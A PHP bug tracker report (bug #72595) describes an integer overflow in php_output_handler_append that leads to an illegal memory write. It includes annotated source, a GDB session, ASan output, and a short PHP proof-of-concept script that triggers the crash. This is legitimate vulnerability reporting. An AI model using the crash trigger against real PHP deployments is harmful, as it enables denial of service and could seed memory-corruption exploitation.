php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72595 php_output_handler_append illegal write access
Submitted: 2016-07-14 03:08 UTC Modified: 2016-07-17 20:32 UTC
From: fernando at null-life dot com Assigned:
Status: Open Package: *General Issues
PHP Version: 7.0.8 OS: *
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-07-14 03:08 UTC] fernando at null-life dot com
Description:
------------
Integer overflow at php_output_handler_append function causes illegal write access

Calling to ob_start function with a big chunk_size value (i.e. PHP_INT_MAX), an integer overflow happens while trying to realloc the memory buffer. This causes a call to realloc with a new size of 0, the behaviour will depend on the libc implementation, but glibc returns a valid pointer here, and later an illegal write access trough the memcpy function. This was tested on a 32 bits system.

------------------------------------

Source code https://github.com/php/php-src/blob/master/main/output.c#L880

static inline int php_output_handler_append(php_output_handler *handler, const php_output_buffer *buf)
{
	if (buf->used) {
		OG(flags) |= PHP_OUTPUT_WRITTEN;
		/* store it away */
		if ((handler->buffer.size - handler->buffer.used) <= buf->used) {
			size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(handler->size);
			size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(buf->used - (handler->buffer.size - handler->buffer.used));
			size_t grow_max = MAX(grow_int, grow_buf);

			handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max);
                        ## integer overflow : handler->buffer.size + grow_max  = 0 ^
			handler->buffer.size += grow_max;
		}
		memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used);
                ## illegal write ^
		handler->buffer.used += buf->used;

		/* chunked buffering */
		if (handler->size && (handler->buffer.used >= handler->size)) {
			/* store away errors and/or any intermediate output */
			return OG(running) ? 1 : 0;
		}
	}
	return 1;
}


GDB output:


gdb -q --args /matatetete/matatetete/php-70/sapi/cli/php -n poc2.php

gdb-peda$ b output.c:890
Breakpoint 2 at 0x938ec71: output.c:890. (4 locations)
gdb-peda$ b output.c:891
Breakpoint 3 at 0x938ed53: output.c:891. (4 locations)
gdb-peda$ r
...
Breakpoint 2, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at /matatetete/php-src/main/output.c:890
890                             handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max);
gdb-peda$ p *handler
$1 = {
  name = 0xf32013b8,
  flags = 0x71,
  level = 0x0,
  size = 0x7fffffff,
  buffer = {
    data = 0x70e00000 "",                      ## Before realloc
    size = 0x80000000,
    used = 0x7fffe000,
    free = 0x0,
    _reserved = 0x0
  },
  opaq = 0x0,
  dtor = 0x0,
  func = {
    user = 0xf327a0e0,
    internal = 0xf327a0e0
  }
}
gdb-peda$ c
...
Breakpoint 3, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at /matatetete/php-src/main/output.c:891
891                             handler->buffer.size += grow_max;
gdb-peda$ p *handler
$2 = {
  name = 0xf32013b8,
  flags = 0x71,
  level = 0x0,
  size = 0x7fffffff,
  buffer = {
    data = 0xf32622a8 "\320\"", <incomplete sequence \363>,         ## After realloc(0)
    size = 0x80000000,
    used = 0x7fffe000,
    free = 0x0,
    _reserved = 0x0
  },
  opaq = 0x0,
  dtor = 0x0,
  func = {
    user = 0xf327a0e0,
    internal = 0xf327a0e0
  }
}
gdb-peda$ l
886                             size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(handler->size);
887                             size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(buf->used - (handler->buffer.size - handler->buffer.used));
888                             size_t grow_max = MAX(grow_int, grow_buf);
889
890                             handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max);      ## erealloc(0)
891                             handler->buffer.size += grow_max;
892                     }
893                     memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used);
894                     handler->buffer.used += buf->used;
895
gdb-peda$ p handler->buffer.size + grow_max        ## Integer overflow
$1 = 0x0
gdb-peda$ p handler->buffer.size
$2 = 0x80000000
gdb-peda$ p grow_max
$3 = 0x80000000
gdb-peda$ b output.c:893
Breakpoint 4 at 0x938e00c: output.c:893. (4 locations)
gdb-peda$ c
...
Breakpoint 4, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at /matatetete/php-src/main/output.c:893
893                     memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used);
gdb-peda$ p handler->buffer.data + handler->buffer.used
$3 = 0x732602a8 <error: Cannot access memory at address 0x732602a8>      ## Illegal dst address
gdb-peda$



Test script:
---------------
<?php

ini_set('memory_limit', -1);
function callback_function($buffer) { return 1; }
$fp = fopen("/dev/zero", "r");
ob_start("callback_function", PHP_INT_MAX);
fpassthru($fp);

Expected result:
----------------
No crash / OOM error?

Actual result:
--------------
ASan output:

/matatetete/matatetete/php-70/sapi/cli/php -n poc.php
ASAN:SIGSEGV
=================================================================
==14329==ERROR: AddressSanitizer: SEGV on unknown address 0x72863280 (pc 0xf6d60e0c bp 0xfff72108 sp 0xfff71c98 T0)
    #0 0xf6d60e0b  (/lib/i386-linux-gnu/libc.so.6+0x126e0b)
    #1 0xf72456dd in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8a6dd)
    #2 0xf7245c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
    #3 0x938e0e3 in memcpy /usr/include/i386-linux-gnu/bits/string3.h:53
    #4 0x938e0e3 in php_output_handler_append /matatetete/php-src/main/output.c:893
    #5 0x938e0e3 in php_output_handler_op /matatetete/php-src/main/output.c:941
    #6 0x938e0e3 in php_output_op /matatetete/php-src/main/output.c:1057
    #7 0x938e0e3 in php_output_write /matatetete/php-src/main/output.c:257
    #8 0x93b5abb in _php_stream_passthru /matatetete/php-src/main/streams/streams.c:1411
    #9 0x901ebc5 in zif_fpassthru /matatetete/php-src/ext/standard/file.c:1464
    #10 0x9ac461a in ZEND_DO_ICALL_SPEC_HANDLER /matatetete/php-src/Zend/zend_vm_execute.h:586
    #11 0x980eaaf in execute_ex /matatetete/php-src/Zend/zend_vm_execute.h:414
    #12 0x9b2a835 in zend_execute /matatetete/php-src/Zend/zend_vm_execute.h:458
    #13 0x95e778c in zend_execute_scripts /matatetete/php-src/Zend/zend.c:1427
    #14 0x932ea6b in php_execute_script /matatetete/php-src/main/main.c:2494
    #15 0x9b33374 in do_cli /matatetete/php-src/sapi/cli/php_cli.c:974
    #16 0x80a64d3 in main /matatetete/php-src/sapi/cli/php_cli.c:1344
    #17 0xf6c52636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #18 0x80a6aea  (/matatetete/matatetete/php-70/sapi/cli/php+0x80a6aea)


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-17 20:32 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-07-17 20:32 UTC] stas@php.net
Doesn't look like security issue - requires specially crafted code to trigger.
 
PHP Copyright © 2001-2019 The PHP Group
All rights reserved.
Last updated: Fri Sep 20 11:01:26 2019 UTC